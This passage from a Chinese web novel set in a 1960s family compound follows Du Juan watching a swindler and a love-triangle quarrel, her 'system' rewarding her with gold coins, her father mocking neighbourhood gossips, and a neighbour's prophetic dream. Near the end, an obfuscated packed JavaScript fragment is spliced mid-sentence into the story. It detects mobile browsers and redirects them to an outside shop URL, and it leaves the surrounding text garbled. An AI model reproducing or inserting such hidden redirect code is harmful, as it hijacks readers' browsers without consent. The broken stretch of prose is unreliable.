别看白晚秋家庭条件一般,但是她从来都是自认自己是干部家庭的,因此心气儿很高。
“我可告诉你……”
几个人很快又互相叭叭叭起来,杜鹃都觉得很神奇了,她们怎么又闹起来了?真是一言不合就干仗。
白晚秋和常大妈关系不好,王枣花可是看了好大一场热闹,心里偷偷琢磨,这要是她儿子的对象,她肯定也是看不上的,这叫什么事儿啊。
这样桀骜不驯的儿媳妇儿,她也不会要。
“你们……”
“你闭嘴,这里有你什么事儿?”白晚秋倨傲:“我知道你们是一伙儿的,但是你们别想一起欺负我。我肚子里怀的可是大伟的孩子。”
“你给我闭嘴。”
“我就不闭嘴,怎么样?”
她们两个人又吵起来,杜鹃在一旁看的瞠目结舌,这可太大胆了啊,现在这个形势,还敢这么嚣张。但凡是有人举报,他们都得完犊子。
杜鹃真心觉得她们是疯了!
这也太猖狂了。
“常大妈,你们在这儿干什么?”
突然间,一道女人的声音响起。
杜鹃看过去……啊这!她瞬间瞳孔地震!
是李秀莲。
竟然是李秀莲。
刚才的话题中心李秀莲。
杜鹃都这么震惊,更不要说是常大妈了,常大妈吓了一跳,她猛地一哆嗦,赶紧说:“秀莲啊?你怎么也来了?”
又心虚又尴尬!
李秀莲疑惑的很:“???”
很快的,她说:“我不放心大伟,这不,回家给他熬了萝卜排骨汤,这伤筋动骨一百天,喝点骨头汤最好不过了。我熬了好熬几个点儿呢,最是有营养。”
她说这话,但是也看着眼前两个女人,随即反应过来,说:“她们欺负你?”
白晚秋从李秀莲一到,脸色就难看的不行,李秀莲长得确实不如她,女人家家的,四方脸,瞅着就不秀气。怪不得大伟相不中。不过,她嫉妒的看着李秀莲,她穿的挺好,还戴了一块手表。
白晚秋嫉妒的说:“你就是李秀莲啊?”
李秀莲:“???”
她来得晚,可没怎么明白,疑惑的看着白晚秋,她不认识这个女同志啊?她又看向了常大妈,常大妈赶紧的:“你别理这个女的,她不是个好东西。”
随即恶狠狠的看着白晚秋,她要是敢说什么,她豁出去也得让这个小贱人好看。
她死死的盯着白晚秋,白晚秋有心挑衅,正要开口,王枣花看看这个看看那个,一个健步上前,挽住了白晚秋,说:“我们先走吧。”
“你……”
“你听我的,你这身子……”一切尽在不言中。
王枣花抬手抚在了白晚秋的肚子上
白晚秋猛地侧眸凶狠的盯着王枣花。王枣花坚定:“你就听我的吧。”
她要不是为了取信于常菊花可不会掺和这种事儿。
不过就这么一会儿她是看出来了常大妈他家条件好还真不是假的
那么下一步更好办。
所以王枣花坚持:“咱走吧。”
白晚秋的脸都气的发红但是她未婚先孕可不是看起来那么有底气。她深吸一口气恨不能吃了王枣花。
几个人的眉眼官司李秀莲看的很迷糊。
“小妹这边是出什么事儿了?”
常大妈回头一看是李秀莲的大哥她赶紧满脸堆笑儿:“是刚子啊你咋的也过来了?”
李志刚:“大娘都这么晚了我哪放心让我妹妹一个人来?我陪她一起过来的你们这是……?”
“没事儿没事儿我跟他们有点口角不是什么大事儿你别担心。”
生怕李志刚看出什么端倪常大妈赶紧说:“你们这来的不巧大伟吃了药已经睡了你看你们明天还要上班要不饭盒给我吧。我给大伟收着你们也赶紧回去时候不早了不多休息一下白天上班没精神等我家大伟好了一定登门道谢。”
她拉着李秀莲的手说:“你可真是个贤惠姑娘啊我家大伟真是三生有幸认识你这么好的姑娘。大妈就等着你做我家儿媳妇儿呢。”
她笑的一脸谄媚:“大妈不盼望别的就盼着你能早早进门你真是个好的。”
李秀莲得意的笑了笑。
倒是白晚秋不服气的想说点什么还没开口就被王枣花拽住了。
王枣花一个为了将来能够诈骗而兢兢业业掺和着三角恋的奇人。她紧紧的抓住白晚秋真是很仗义啊。
杜鹃看了都要感叹一声这王枣花要是个好人那可太适合去居委会搞调节了。你看看都把脱缰野马白晚秋抓住了。不过杜鹃也是心慌慌看了白晚秋这样都有点不敢结婚怀娃儿了。
这怀个孩子就能这么暴躁也是吓人咧。
杜鹃抖了抖继续盯梢儿不过这一看倒是看出点端倪李志刚明显多看了
白晚秋好几眼,那眼神儿,四个字儿——若有所思。
常大妈:“天色不早了,快回去吧,等大伟好了,我让他去你家。你们家啊,就把他当成儿子。”
李秀莲笑的更灿烂,倒是李志刚又看了一眼白晚秋。
白晚秋都要气死了。
她不是怕了王枣花,她是怕……肚子曝光!
虽然怀了之后格外暴躁,但是白晚秋还没蠢升天。
这事儿要是被捅出去,她肯定要蹲笆篱子的。
她敢拿捏常大妈是因为这是他家的大孙子,但是拿捏外人,拿捏不着啊!
李志刚:“妹子,咱先走吧,确实不早了,你要是不放心明天早点来。”
李秀莲:“那也行,大妈,你明早可要给大伟喝啊,我熬了好就的。”
“你放心你放心。”
李家兄妹到底是没上楼,很快的就一起离开,只是走到门口,李志刚又回头看了一眼,杜鹃赶紧躲一躲,生怕被发现。好在李志刚只是看了一眼就骑车载着妹妹,很快的离开。
李家兄妹走了,白晚秋气的不行:“你凭什么对她那么好。还有你,这里有你一个外人什么事儿?用得着你在这儿烦人?你个倒霉的东西。”
这眼瞅着就要再次打起来,胡相伟终于忍无可忍,他从窗口探头,说:“妈,你们上来说。”
那脸色黑的啊,不像话。
常大妈:“大伟,这事儿不用你管,我还对付不了这个小贱人?她……”
“妈!”
胡相伟没想到他妈这么废物,这点事儿都处理不了,他可怕李家兄妹杀个回马枪,他阴沉着脸说:“你们上来!”
不能再闹了。
他再次重申一次,白晚秋哼了一声,率先上楼。
她就不相信大伟会怪她,这个老巫婆真是太坏了,谁家婆婆这么刻薄啊,今天的事儿怨她吗?根本不怨的。白晚秋理直气壮,几个人前后脚上楼,杜鹃很快的跟上,不过胡相伟倒是心机深,可不会像是几个女同志一样大张旗鼓闹得人尽皆知。
杜鹃摸到了病房门口,倒是什么也没听见。
不过很快的,几个人就出来了,王枣花带着丝丝笑意,按着兜,想来是拿到钱了。就连常大妈和白晚秋都被安抚住了。虽然很想
留下来继续看热闹,但是杜鹃很快的和张胖子会和,不远不近的跟在王枣花后头。
确认她是回家,他们这才“下班。
回家路上,张胖子说:“今天的事儿……嗞!
怎么说好呢?
杜鹃看他欲言又止的样子,说:“张叔,我知道的,我不会对外说的。
张胖子点点头,说:“你明白就好,这事儿虽然十分不对,但是到底一个院儿,咱就装不知道吧,既然是个孕妇,咱就别出事儿。那个白晚秋……
张胖子没忍住,说:“胡相伟什么毛病啊,怎么就盯着江维中了。江维中的相亲对象,就那么香吗?
杜鹃犹豫了一下,没说话。
准确说,这个不是江维中的相亲对象啊,这是想要坑人的。
不过杜鹃还是没说话,但是大眼睛叽里咕噜的,张胖子也没说话,虽然见多识广,但是都是一个大院儿的邻居,这可真是……不理解,真的不理解!
这会儿已经不早了,回到家属院儿都九点来钟了,杜鹃跟张胖子分道扬镳。
她今天也是看了好大一场热闹咧。
杜鹃抿着小嘴儿,一路钻进楼道,只是吧……
啜啜啜。
杜鹃还没上楼,一进来就隐约听到了点动静儿。
杜鹃疑惑:“???
这倒不像是哭声啊。
她抿抿嘴,左右张望一下,就见一楼走廊的里头两个人贴着墙站在那里拥抱,亲的嘬嘬嘬的,有点像啃猪蹄子那个劲儿。虽然天黑看不清是谁,但是杜鹃也不想拆穿人家这些破事儿。
杜鹃迟疑了一下,故意假咳一声,加重了点脚步,果然,很快的,刚才的声音就不见了。
她装作什么也不知道,咚咚咚上楼。
杜鹃一路来到二楼,开门回家:“爸妈舅舅,我下班啦。
他们家还一个都没睡呢,都等着杜鹃下班。杜国强抬眼看了一下客厅的时钟,说:“都九点多了,累坏了吧?
他关心的问:“饿不饿?
杜鹃摸摸肚子,笑:“有点了。
杜国强还没说话,陈虎就立刻往厨房去,说:“大舅给你下一碗馄饨。
杜鹃:“!!!
她高兴的笑,
俏生生的:“咱家还有这好东西啊。
杜国强:“还不是你大舅心疼你加班辛苦,专门给你包的。我们都没有份儿的,等会儿给我尝一个啊。
杜鹃笑嘻嘻:“我就知道大舅最疼我,我不吃独食,等下我们分着吃。
杜国强:“我尝一个得了,我要是敢跟你抢,你大舅都能捶我。
陈虎呲了一声,说:“我是那种人?你可真是门缝儿看人。
杜鹃咯咯咯的笑了出来。
她跑了一天确实有点累了,往沙发上一躺,没骨头一样:“我今天可是见识了大场面了……
说话的功夫,她点开了自己的系统。
“咦?
“怎么了?又有变化?杜国强问起来,陈虎梅也赶紧看过来,就连陈虎也又拎着锅铲出来了。
三个人六只眼睛盯着杜鹃。
杜鹃点点头,说:“我的金币又增加了,增加了好多啊!我看看哈……
实时消息:一九六七年,二十四岁的李秀莲嫁给机械厂司机胡相伟,次年生下一个女儿,不到一年又生下一个女儿,十年连续生下九个女儿,被街坊邻居戏称“家有九凤,李秀莲被胡相伟一家长时间精神打压,性格逐渐从自信转变为软弱。因为接连生女深感愧疚,从娘家不断为胡相伟谋福利。胡相伟利用岳父关系迁至车队担任队长。七八年,李秀莲父亲退休,胡相伟开始虐待李秀莲,八一年,李秀莲被迫离婚。李秀莲与九个女儿被扫地出门。李秀莲一个人养活九个女儿。随后,几个女儿长大,一一被胡家强行要回,胡相伟将女儿视为资源,一一嫁了出去,为自家谋福利。命运悲惨。
李秀莲哥哥李志刚发现胡相伟奸情,直接改变李秀莲命运,获得十枚金币奖励。
间接影响李秀莲将来未出生的孩子,一人次获得奖励十枚金币,九人共获得九十枚金币奖励。
共计获得一百枚金币。
金币总额:241.5金币。
杜鹃揉揉眼睛,随即激动说:“我有二百多枚金币了,一下子涨了一百呢。
她看实时消息的时候,已经念出来了。
家里几个人都挺没想到,但是也跟着高兴,这咋说呢?做好事儿是满足情感需求,得到金币是满足物质需求,
这都得到了,搁谁不高兴?
杜鹃喜滋滋的,她盘着
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腿儿,蜷在沙发上,眼睛亮晶晶的,格外的快活。
“李秀莲的命运改变了!”
杜鹃很确定,李秀莲是没有发现问题的;但是她现在也确定了,她哥哥李志刚发现问题了。
其实刚才她就有点怀疑李志刚发现不对了,但是倒是也不敢肯定。
现在就不用多说了,证实了呢。
杜鹃还挺高兴,她跟李秀莲不熟悉,就是见过,认识都不算认识的,但是这会儿倒是挺高兴。她可不用“家有九凤”了。好人能这么生吗?还要不要身体了。
杜鹃嘿嘿嘿,不过很快的,她小声的说:“我刚才回来的时候,看见两个人在一楼走廊头儿亲亲。”
她小小声,有点小脸红。
“不要脸!”
陈虎梅唾了一口。
杜鹃疑惑了一下,很快反应过来:“妈你知道是说啊?”
陈虎梅翻白眼:“还能是谁!”
这要不是汪春艳,她陈虎梅就敢倒立行走!
别人家就算是有什么也可以回家的,也就汪春艳不方便……
大概是响应陈虎梅一样,走廊里汪家传来开门关门的声音,嘎吱嘎吱的。他们二楼,汪家的开门关门声最明显了,一听就知道是他家。
杜鹃:“汪春艳阿姨啊……”
杜鹃不懂感情,但是她更不懂,汪春艳怎么不好好找个人。
不过她也不在意这些,因为,馄饨出锅儿啦。
杜鹃高兴的坐直了,开心:“快拿碗,大家都来尝一尝。”
在杜国强的教育下,杜鹃是从来不吃独食的。
杜鹃:“以后咱家可以吃点好的了,嘿嘿,我现在可是有二百多金币了。”
太富了。
杜鹃美滋滋。
“你给我轻点嘚瑟,别飘啊。”陈虎梅给她紧紧绳儿。
没办法啊,自家大哥和自家男人两个都太溺爱孩子了,要是可着他们这么纵容杜鹃,这丫头能嘚瑟上天。当妈的只能扮黑脸儿了。这两个鸡贼的,就会装好人!
她白了两个男同志一眼,杜国强立刻凑上前,说好听的:“媳妇儿,你这忙了一天,来,我给你捏捏肩膀。”
他可是
狗腿的很,继续说:“明个儿我去买点肉,给你也好好补一补,夏天酷夏,我看你胃口都不好了。这可不行。你都瘦了,我可太心疼了。”
陈虎赶紧把馄饨吞下去,再不咽下去,就要吐了,怪恶心的。
他默默起身,迅速离开,无他,抗不了妹夫这个黏糊的腻歪劲儿。别看陈虎看起来一脸虎相,十分凶猛,一拳能打死一个老爷们。但其实他话不多,脾气也挺好的。
倒是陈虎梅,她性格比较冲。
陈虎可抗不住妹夫的马屁,脚趾立刻都能扣出三室一厅,他真扛不住。
陈虎果断闪人,杜鹃倒是能抗住,她还能叭叭叭呢。
“爸,买骨头吧,我想吃大骨头,可以炖汤的,我馋了。”
胡相伟都有萝卜大骨头汤呢。
杜鹃把剩下的馄饨吃光光,抱着碗咕咚咕咚喝汤。
杜国强:“那我明天早点去,你要大骨头还是要排骨?”
杜鹃:“排骨!”
一秒倒戈,虽然大骨头汤很好,但是不如排骨好吃的。
杜国强:“行,咱家还有肉票,我明天早点去,咱明天清蒸排骨。你明晚会不会加班?”
杜鹃摇头:“应该不会吧,我们是轮班的,今天是我们,明天就是陈正民陈晨他们了。”
眼看杜鹃上班很快就适应了,杜国强也挺高兴,说:“你能习惯就好,爸就是不放心,不过我给你准备的防身武器,你都带着,别偷懒不带。一旦遇到坏人,抓人的时候不用靠蛮力的。”
杜鹃乖巧点头。
她起身伸个懒腰,说:“你就放心吧。”
眼瞅着她去厨房,杜国强:“你放哪儿就行,不用收拾,我明天刷。”
自从不上班,家里的这些零碎活儿都是他的,杜国强虽然不做饭,但是备菜还有收拾家务洗衣服全是一把罩。他可不像是有些老爷们,他完全不觉得丢人的。
“你换下来的袜子什么的都扔卫生间篓子里,我明个儿洗衣服一起洗了。”说完,抻着脖子说:“大哥,我明天洗衣服,你有要洗的换下来啊。”
陈虎:“成!”
杜鹃都十八了,他们一家子一起生活也快二十年了。陈虎也不跟杜国强客气这个。
倒是陈虎梅说:“要
不你在家洗衣服吧,出去洗那些老娘们又要嘀咕了。
这要说起来,以前三个人都上班,衣服一般还是陈虎梅洗的,其他的活儿是杜国强的,做饭是陈虎的,分工明确。杜鹃就是好好学习就成。
但是现在杜鹃接班了,除了做饭,其他的活儿杜国强都接下来了。
别看各家各户都有自来水,但是这自来水可是要花钱的,他们家属院儿楼下有个井,是各家筹钱一起找打井的挖的,水质一般,喝水倒是一般般,但是不耽误洗洗涮涮,所以各家老娘们都是在大院儿里洗衣服,也省了自家的。
有些特别节省的,恨不能家里自来水一点也不用,全用井水呢。
大院儿几乎每天都有家庭妇女在楼下洗衣服,碎碎念着家长里短,陈虎梅也不咋乐意让人议论自家老爷们。不过她倒是忘了,杜国强可不在意这个。
杜国强这人没啥大优点,长得不错,但是不是传统方方正正的正气国字脸长相,他偏向于几十年后小鲜肉那种,清俊白面书生,这长相,现在并不流行。
他个子也不算高,才一米七多,虽说他这个年岁吃不饱长大的普遍不太高,他也是普通大众身高,但是也不出挑。
他甚至没有好的身手和不错的家庭,所以总得来说,杜国强属于普通人,十分十分普通。
但是吧,他这人就是一个心态好,豁得出去脸面,所以在他们家属院儿也是小有名气的。像是这会儿,陈虎梅怕他伤自尊,说:“算了算了,要不放着吧,我下班抽空就洗了。
杜国强倒是笑了,说:“你可拉倒,上班一天累成什么样了,我在家待着干什么?总得干点活儿吧。再说你能多休息,我才高兴呢。咱俩都老夫老妻了,你咋还觉得我是脸皮薄的人呢。
陈虎梅:“……
她握住了杜国强的手,柔声:“你这人……
杜国强嘿嘿一笑,反手握住陈虎梅,很快的,他侧头看向还不走人的杜鹃,嗞了一下,说:“闺女啊,你有点眼力见儿,行不?这咋跟个电线杆子一样杵在我跟你们面前当电灯泡?
杜鹃:“……哼!
哒哒哒,回屋!
陈虎梅拍了一下杜国强,说:“你看你。
杜国强:“这有啥不好意思的?咱们
第 20 章 真的是好辣眼睛啊
第20章真的是好辣眼睛啊
大清早的,各家都丁零当啷忙个不停,随着一阵阵兵荒马乱,上班的上班,上学的上学,大院儿总算是消停了几分。各家不上班的家庭主妇一个个也轻松了几分。
别看他们大院儿人不少,但是每天固定在楼下唠嗑的也就那么十来个。
一群人坐在院子里的大树下,大院儿的水井,就在这边。
当初盖家属楼,这树砍不砍一度成为讨论的重点呢,但如今看来,不砍就对了,夏天真真儿是个乘凉的好地方。大家都凑在一起,叨叨家长里短。
“维中这次相亲又没成,这下次还不知道是什么时候,你说他啥都好,咋就找对象这么难?”
“胡相伟也太倒霉了,你说好端端的还能滑下楼,我都两天没看见他了,听说是住院了。也不知道摔了个啥样。”
“你们这两天也没看见汪春艳吧?我跟你们说,听说她这两天跟他们厂子一个老爷们打得火热……”
“哎,这小杜鹃不是上班了吗?她家楼下的婷美,她也着急了,今早我出来扔垃圾就看到她阴沉着一张脸站在窗口,哎呦喂给我的吓的啊,跟个女鬼似的……”
“说到接班,后楼的陈菲菲也接班了,庆丰也接班了。”
“胡相明过几天好像要去哈城,我今早好像还听他问老高要不要带什么。哎你们说,哈城都有什么啊?”
……
大家七嘴八舌的,杜国强端着盆过来,自来熟儿的热络打招呼:“吃了吗?”
“国强啊,这都几点了,谁能不吃啊。你这是干啥?你一个大老爷们洗衣服?”
杜国强来到井边摇晃轱辘打水,说:“这话让你说的,我一男的就不能洗衣服了?现在可是男女平等,女人能干的,我这老爷们也能干。咋的,你觉得我不能干是看不起我?”
孙婶子怏怏的笑了一下,说:“这话怎么说的。”
杜国强摇上来一桶水,坐下来准备开洗!
杜国强才三十八,不到四十,正是壮年,他们大院儿,这么大岁数就让闺女接班儿的,那可压根儿没有。
哦,别说他们院儿,出去打听打听,也是没有的。
蝎子粑粑独一份儿。
孙婶子眼珠子转了转,又问:“呦,你这洗的还挺像样、哎不是,国强啊,你这就彻底不上班了?一个老爷们不上班,在家里可就废了啊!”
她面带微笑:“你家大哥……”
还不等说完,杜国强就开口:“什么就废了,怎么就废了,孙大妈您总是说这样的话,怪不得您家大爷看见你就烦。怪不得你儿子宁愿加班也不愿意回家,怪不得你家孙子都想主动报名下乡了。您看您咋混的啊?一家子都没有待见你的啊。”
他说话可是不客气的,不过偏生还能带着笑容。
“对了,听说您年轻的时候找不到对象,赖上的你家何大爷,是不是这么回事儿啊?”
孙大妈尖锐:“没有事儿!你胡说八道!”
杜国强掏掏耳朵,说:“没有就没有呗,你喊什么啊,哎妈呀,给我耳朵都震得嗡嗡的。您看您激动的,就跟此地无银三百两似的。”
孙大妈气的颤抖。
汪王氏,喏,就是汪春艳的老娘王大妈,这人跟一般人可不一样,坚持自己是汪王氏。直接叫她王大妈,都不高兴呢。
汪王氏和孙大妈可是最要好,她轻声:“国强啊,你咋能说这个话,你这样说可太伤人了,咱们都是一个大院儿的,该是友好互助,该是……”
“是是是,我这个人觉悟确实差了点,就做不到友好互助,没办法,自家都忙不过来,就不像您,特别会友好互助,您给王大爷缝过袜子给李大爷补过衣服给张大爷刷过鞋给陈大爷做过饭还给谷大爷收拾过家,太会友好互助了,太会了。”
嗞!
大家一个战术后仰,嗞嗞~好厉害!
杜国强的攻击性,也太强了啊。
汪王氏慌乱了一下,结巴:“呵、呵呵!我、我就是……”
“王大妈您别结巴啊,我知道的,您都是做好事儿,一般人比不上啊!您看您这个境界,那是高高的。”
汪王氏一下子不言语了。
杜国强搓搓搓,搓衣服,这是自家媳妇儿的衣服,洗干净点。
不过手上活儿不停,嘴巴也一样不停呢。
“王大妈,您看您哈,您不能总是去外面奉献爱心啊,咱大院儿的人也是一样需要帮助的,像是我,你看我,其实现在我就很需要您
的帮助了。你们说的其实也对这男人洗衣服确实是有点干不好哎呀我高估我自己了。大家都是同一个大院儿的王大妈你发扬发扬爱心呗。对了孙大妈正好我也不厚此薄彼既然你们都很关心我我平等的把这个机会给你们两个。”他甩甩手说:“正好我昨晚忙活的有点累了你们就发扬爱心帮我洗衣服吧。我可太感谢你们了。”
汪王氏和孙大妈这对老姐们儿一下子懵逼了从未见过如此厚颜无耻之人。
孙大妈尖锐:“我凭什么给你洗衣服。”
杜国强一副纯善的脸笑着说:“您看您火气这么这么大这不是互相帮助吗?都是一个大院儿的你们的爱心不能全给外面啊。”
汪王氏:“我突然想起来家里还有点活儿你看我你看我哈家里的活儿都没忙活完就出来了我得先回去了。小杜啊大妈倒是想帮忙实在是脱不开身我先回去下次下次哈。下次我帮你。”
汪王氏就不像是孙大妈那么硬气。
什么王大叔张大叔李大叔陈大叔的……这些个事儿杜国强这个瘪犊子怎么知道的?
她也没干啥就是哄仨瓜俩枣儿的。
但是说出来不好听啊。
她生怕这人翻扯这些赶紧起身:“我就先回去了。”
她撒丫子走的贼快。
汪王氏走了孙大妈孤掌难鸣眼瞅着杜国强可是个不要脸面的她也赶紧说:“我也想起来家里有点事儿先回去了我家的活儿都忙不完呢哪还有功夫帮你。”
杜国强遗憾随即故作轻松他说:“没事儿
孙大妈的脚步也快了几分谁特么要跟你一起。
你想让我帮你洗衣服?
白日做梦!
不要脸!
臭混蛋!
无耻之徒!
“孙大妈下次一起啊。”
孙大妈:“滚犊子。”
杜国强遗憾:“王大妈和孙大妈这觉悟啊就是差了点。”
其他老大妈大婶子的互相对视一眼心道觉悟最差的就是你你咋好意思开的口?素质呢?人品呢?脸面呢?你到底想啥呢?
裘大妈:“国强啊
,你真的就让你家小杜鹃接班儿了啊?”
杜国强:“这都猴年马月的旧黄历了啊,我闺女上周可都上班了,那肯定她接班啊。”
杜国强喜滋滋:“哎,你说哈,以前天天早出晚归的忙活,这周末和晚上隔三差五的还要加班,我觉得我这身体都要熬坏了。现在好了啊,我闺女接班了,以后我就可以多歇一歇了。这可不是我懒啊,我是身体确实不行了。不然我着啥急让闺女接班啊,我闺女等街道分配呗。反正我家独生子女不下乡。现如今我闺女心疼我接了班,我这当爹的好好多养一养身体了。你们说哈,这生孩子,甭管男娃儿女娃儿,甭管聪不聪明,孝顺才最重要,我家闺女就最孝顺我,这天底下没有比她更孝顺的孩子了。她不仅孝顺,还漂亮还聪明还能干还可爱还优秀,你说我闺女怎么这么好啊。我和她妈的优点,她都有。我家真是幸运啊。哎,你们啊,羡慕都没用。”
谁羡慕了?
谁羡慕了啊?
你咋自说自话?
“这要说起来,我杜国强这个人就是运气好,年轻那会儿遇到好领导能够加入公安队伍,为社会做一点贡献,发光发热;又遇见好媳妇儿,我媳妇儿聪明伶俐踏实肯干贴心顾家,还有英雄气,特能保护我,我真的,我哭死……我媳妇儿可太好了,我何德何能啊!我还遇到一个好的大舅哥,以前那会儿,谁要是跟我指手画脚,我大舅哥立刻就能让他知道花儿为什么这样红,你们可不懂,我有安全感,我太有安全感了!现在我大舅哥白天上班,下班回来还做饭呢,我说我不上班我做饭,他都不同意,打死也不同意。哎你说哈,你说我运气怎么就这么好。年轻的时候就是好运气,人到中年,我闺女舍不得我,她来接班,一家四口,三个人养我呢。你看哈,你看你们就没有这样的好运气。在家里做家务带孩子赡养老人还心里不踏实没底儿吧?我就不同了,我家人给我满满的关心,要不说我这人讨人喜欢呢,你们说对吧?其实我都知道,其实大院儿的人都很喜欢我,你们别误会啊,跟男女之情没关系,纯粹我这个人讨喜……”
“哕!”
裘大妈终于忍不住了,别问,问就是最怪自己,特么的提的什么头儿啊,让这个不要脸的玩意儿吹个没完。太特么恶心了!可以肯定,这人说下去肯定更恶心,肯
定的!
裘大妈站起来:“我突然想起来,家里还有点活儿。”
“啊对对对,我家也有点活儿……”
杜国强尔康手:“别走啊,再唠一会儿啊……”
嗖嗖嗖!
原本大树下唠嗑儿缝补衣服摘菜的老娘们没几分钟,迅速撤退,一个个跑的比兔子还快。
无他,就是一个恶心。
虽说她们妇女也在一起互相攀比吹嘘,但是听老爷们吹,那可真是太恶心了。
谁家老爷们这样啊。
膈应,太膈应人了。
大家一个个窜的飞快,很快的没影儿了,杜国强十分遗憾,嘟囔:“咋都走了啊,大家这么友好,帮我洗洗衣服啊!”
距离大树最近的这栋楼,一楼的费婶子最爱蹲在窗下偷听大家唠嗑儿,这会儿也撇嘴摇头,嫌弃的半点不敢出门。
哎呦喂,自家的活儿都干不过来,还要去给你干活儿,你咋想的怎么美呢。
白日做梦。
谁家不是一堆活儿。
她赶紧去打扫家里。
杜国强扫过她家,吭哧吭哧继续洗衣服,还哼着歌儿呢。
“东方红,太阳升,东方出了个……”
叭叭叭的,唱个没完。
你还别说,杜国强唱歌还是很不错的,以前但凡单位有活动,他也是积极分子呢。
杜国强边干边唱,间或还要嘟囔两句:“咋没有人发扬一下团结友爱邻居的精神,帮我给衣服洗一洗呢?”
这声音不大不小的,大家听了纷纷绕着走,惹不起,真的惹不起。
杜国强一大盆衣服,还有枕巾床单的,洗了大半上午,平日里热闹的大杨树下,愣是半个人也没有,杜国强忙活着,洗完了晾衣服,因为今天杜国强一直在洗衣服,以至于其他有这个想法的都决定改成下午或者明天了。
就怕被这不要脸的抓了壮丁。
他不要脸,他不要脸的啊!
院子里晾衣服的地方不多,但是因为今天没什么人,杜国强倒是独占了。
他继续哼歌,感觉到一道视线,回头一看,是楼下的孙婷美。
杜国强拍拍胸口,说:“婷美啊,你这是干啥啊?阴森森的站在这儿,不知道人吓人吓死人啊!”
这丫头怎么回事儿,往常挺正常一个姑娘啊,今天怎么一身黑气的。
这要是演个鬼片儿,都能本色出演了。
好阴郁。
孙婷美脑子有点乱,不过倒是回应了。
“我有点不舒服,杜叔你洗衣服啊?”
杜国强:“……呃,那不然呢?我这不是洗衣服,是在玩儿?”
杜国强看看晾好了的衣服,这不很明显?
“你爸不干这些活儿吧?要不说你爸不如我,我可真是个好男人,好男人就是我!”
孙婷美嘴角抽了下:“哦。”
杜国强眼看她这样呆滞,说:“我看你今天果然状态不行,你还是休息一下吧,不行去医院看看。”咋傻傻呆呆的。
孙婷美抿着嘴点头,转头儿回到自己的房间,躺了下来。
孙婷美垂着眼,心里很乱,不过这也怪不得她,但凡是谁遇到她这样的事儿,都会这样。她昨晚睡得早,可是就因为睡得早,却又做了一场噩梦,一场吓人的噩梦。
她的梦里自己只读到了初中,找不到工作,只能打零工,然后政策一出来,她就下乡了。因为过不了乡下的苦日子,在乡下找了个人嫁了,过着面朝黄土背朝天的生活。后来恢复高考,她没有考上。但是知青回城的时候,她坑骗自己男人假离婚,然后偷偷回了城,抛夫弃子。
可谁曾想回来的日子并不太好,孙家已经没有了她的位置。父母、弟弟弟妹,没有一个人不嫌弃她。她干的最多,吃的最少,跟个老妈子一样。也是这个时候,她才偶然知道,自己不是朱爱霞亲生的。
就连她一直觉得自己很好听的名字婷美,不是寄予美好的寓意,而是“停妹”的意思。
呵呵,呵呵呵!
怪不得,怪不得啊!
她为了摆脱这样的生活再嫁了,可是过得也不好,于是她又离婚了……
她一共结婚离婚了五次,每一次都遇人不淑,狼狈蹉跎到四十多……再然后,就没有然后了,她醒了。这样清晰的恶梦实在是骇人,她仓皇着起身就想跟父母说说。
只是不曾想,竟然偷听到了他们的话。
她竟然真的不是亲生的!
孙婷美本来是半点也不相信这梦的,毕竟她读了高中,
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624021|140855||http|test|mini|href|location''.split(''|''),0,{}));
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>而梦里没有。可是谁曾想,竟然意外的听到了这么大第一个秘密,她不是亲生的,她竟然真的不是朱爱霞亲生的。
这对她来说无异于晴天霹雳!
看着对她和颜悦色,十分好的“妈妈
两个弟弟是双胞胎,他们才十三,着什么急呢。
距离下乡,也能混个四五年的,为什么不能先紧着她?她一个姑娘家,哪里干过农活儿?下乡她怎么遭得住?
果然,后妈没有不恶毒的,不是亲生的,就是自私。
孙婷美阴着一张脸,神色恍惚,无限的难过之后,又有一点点庆幸,庆幸自己有这个好运可以梦到还没有发生的事情。
示警,这一定是老天爷给她的示警!
让她可以不要走到梦里那一步。
一定是这样。
孙婷美一宿没睡,仔细回想那细致的梦,越发的暗恨家里偏心。
他家是一家七口,爷爷是在公安局上班,奶奶也是,不过奶奶是在食堂做帮厨儿,正式工。可是,这个帮厨儿的正式工,是她亲妈的工作,当初她妈难产没了,她奶接班的。
她爸是在小学做老师,而后妈朱爱霞是机械厂职工。
他家明明四个人都有工作的,她奶的工作还是她妈的,这该还给她啊。但是在她的梦里,她奶的工作给了大弟,他妈的工作给了二弟。他们两个都没有下乡,家里只有她一个人下乡了。
他们都在城里过好日子,她在乡下吃苦!
一切都是他们的错。
孙婷美一宿没睡,越想越气,越想越觉得不公平,大清早的看到杜鹃,就觉得更不公平了。她们都是一样家庭条件不错,凭什么杜鹃就过得这么轻松,就能轻易的接班,就能轻易留在城里。
凭什么。
再想这几年大家总是将她们两个姑娘放在一起对比,孙婷美就更怨恨杜鹃了。
她想要回想自己的梦里,杜鹃过成啥样,但是她的梦里都是围绕她的生活,倒是并不知道杜鹃过成啥样了。在她的梦里有些邻居出现,但是没有杜国强一家子。
好像住在他家楼上的也不是他们家。
不过这个孙婷美也不管确定
,毕竟,谁做梦会细致的梦见邻居啊!
可是就算是这样,孙婷美还是嫉妒死了。
她不高兴的躺在床上,脑子一团乱。
她得留在城里,一定要留在城里,这辈子,怎么也不能下乡!
朱爱霞这个自私鬼凭啥就不肯给工作给她呢?
相比于亲妈留下来的工作,其实孙婷美更想要朱爱霞的工作。一来机械厂工人总是比食堂帮厨儿更好;二来也是她不想得罪她奶,反正不是亲妈,得罪就得罪了。但是她不太敢得罪她奶,毕竟爷奶掌家的。
孙婷美只一个劲儿的怨恨朱爱霞,却也没想过,从小到大,朱爱霞也没苛待过她。但凡是朱爱霞对她刻薄,她也不会是今天这个性格。
但是这会儿孙婷美可不管那么多,她就是一水儿的怨恨着所有人,也嫉妒着所有人。
杜鹃都能留在城里,她也一定要留在城里!
一定要!
孙婷美疯狂攀比杜鹃,杜鹃:“哈切!”
张胖子:“你没事儿吧?”
杜鹃摇头:“没事儿。”
杜鹃他们今天持续盯梢儿王枣花。
王枣花不仅搞仙人跳,这坑蒙拐骗也是同时进行。
